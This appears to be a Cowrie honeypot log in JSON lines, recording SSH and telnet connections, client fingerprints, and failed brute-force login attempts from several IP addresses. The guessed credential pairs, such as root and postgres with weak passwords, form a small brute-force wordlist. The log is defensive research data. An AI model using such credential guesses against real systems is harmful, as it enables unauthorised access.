{"eventid":"cowrie.login.failed","username":"root","password":"25252525","message":"login attempt [root/25252525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:42.192221Z","src_ip":"45.153.34.97","session":"0d08eb604df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:43.322968Z","src_ip":"45.153.34.97","session":"0d08eb604df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42890,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac16022a390f","protocol":"telnet","message":"New connection: 152.42.224.71:42890 (10.17.0.5:23) [session: ac16022a390f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:43.392092Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":55760,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d0ec56b7fd0","protocol":"ssh","message":"New connection: 45.153.34.97:55760 (10.17.0.5:22) [session: 0d0ec56b7fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:45.224218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:45.229025Z","src_ip":"45.153.34.97","session":"0d0ec56b7fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:45.311638Z","src_ip":"45.153.34.97","session":"0d0ec56b7fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:45.587529Z","src_ip":"45.153.34.97","session":"0d0ec56b7fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:46.676224Z","src_ip":"45.153.34.97","session":"0d0ec56b7fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":55782,"dst_ip":"10.17.0.5","dst_port":22,"session":"70148d0e2fb4","protocol":"ssh","message":"New connection: 45.153.34.97:55782 (10.17.0.5:22) [session: 70148d0e2fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:49.476833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:49.575136Z","src_ip":"45.153.34.97","session":"70148d0e2fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:49.980694Z","src_ip":"45.153.34.97","session":"70148d0e2fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:50.280417Z","src_ip":"45.153.34.97","session":"70148d0e2fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:51.989588Z","src_ip":"45.153.34.97","session":"70148d0e2fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12816,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce16cbaa0a89","protocol":"ssh","message":"New connection: 45.153.34.97:12816 (10.17.0.5:22) [session: ce16cbaa0a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:53.808672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:53.813139Z","src_ip":"45.153.34.97","session":"ce16cbaa0a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:53.894808Z","src_ip":"45.153.34.97","session":"ce16cbaa0a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"password","message":"login attempt [elastic/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:54.301611Z","src_ip":"45.153.34.97","session":"ce16cbaa0a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:55.386786Z","src_ip":"45.153.34.97","session":"ce16cbaa0a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":45552,"dst_ip":"10.17.0.5","dst_port":22,"session":"81a1fb95e561","protocol":"ssh","message":"New connection: 43.153.36.83:45552 (10.17.0.5:22) [session: 81a1fb95e561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:56.813643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:56.818017Z","src_ip":"43.153.36.83","session":"81a1fb95e561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:56.886303Z","src_ip":"43.153.36.83","session":"81a1fb95e561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cygnusx1","message":"login attempt [root/cygnusx1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:57.191692Z","src_ip":"43.153.36.83","session":"81a1fb95e561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12824,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeb6c6de0768","protocol":"ssh","message":"New connection: 45.153.34.97:12824 (10.17.0.5:22) [session: eeb6c6de0768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:58.113806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:58.119249Z","src_ip":"45.153.34.97","session":"eeb6c6de0768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:58.203229Z","src_ip":"45.153.34.97","session":"eeb6c6de0768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:58.263141Z","src_ip":"43.153.36.83","session":"81a1fb95e561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"d","message":"login attempt [a/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:58.476847Z","src_ip":"45.153.34.97","session":"eeb6c6de0768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:59.576379Z","src_ip":"45.153.34.97","session":"eeb6c6de0768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"355a5fe5c7cf","protocol":"ssh","message":"New connection: 37.233.85.71:43858 (10.17.0.5:22) [session: 355a5fe5c7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:00.219125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:00.224607Z","src_ip":"37.233.85.71","session":"355a5fe5c7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:00.334081Z","src_ip":"37.233.85.71","session":"355a5fe5c7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michael1","message":"login attempt [root/michael1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:00.665462Z","src_ip":"37.233.85.71","session":"355a5fe5c7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:01.778602Z","src_ip":"37.233.85.71","session":"355a5fe5c7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12422,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd5393cee5c9","protocol":"ssh","message":"New connection: 45.153.34.97:12422 (10.17.0.5:22) [session: bd5393cee5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:02.413620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:02.418499Z","src_ip":"45.153.34.97","session":"bd5393cee5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:02.501149Z","src_ip":"45.153.34.97","session":"bd5393cee5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"mostafa","message":"login attempt [mostafa/mostafa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:02.784512Z","src_ip":"45.153.34.97","session":"bd5393cee5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:03.905512Z","src_ip":"45.153.34.97","session":"bd5393cee5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12432,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c0e83960a84","protocol":"ssh","message":"New connection: 45.153.34.97:12432 (10.17.0.5:22) [session: 9c0e83960a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:06.528311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:06.533020Z","src_ip":"45.153.34.97","session":"9c0e83960a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:06.616221Z","src_ip":"45.153.34.97","session":"9c0e83960a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:07.128656Z","src_ip":"45.153.34.97","session":"9c0e83960a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:08.213155Z","src_ip":"45.153.34.97","session":"9c0e83960a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":24308,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ca6b8de77bf","protocol":"ssh","message":"New connection: 45.153.34.97:24308 (10.17.0.5:22) [session: 6ca6b8de77bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:10.768620Z"}
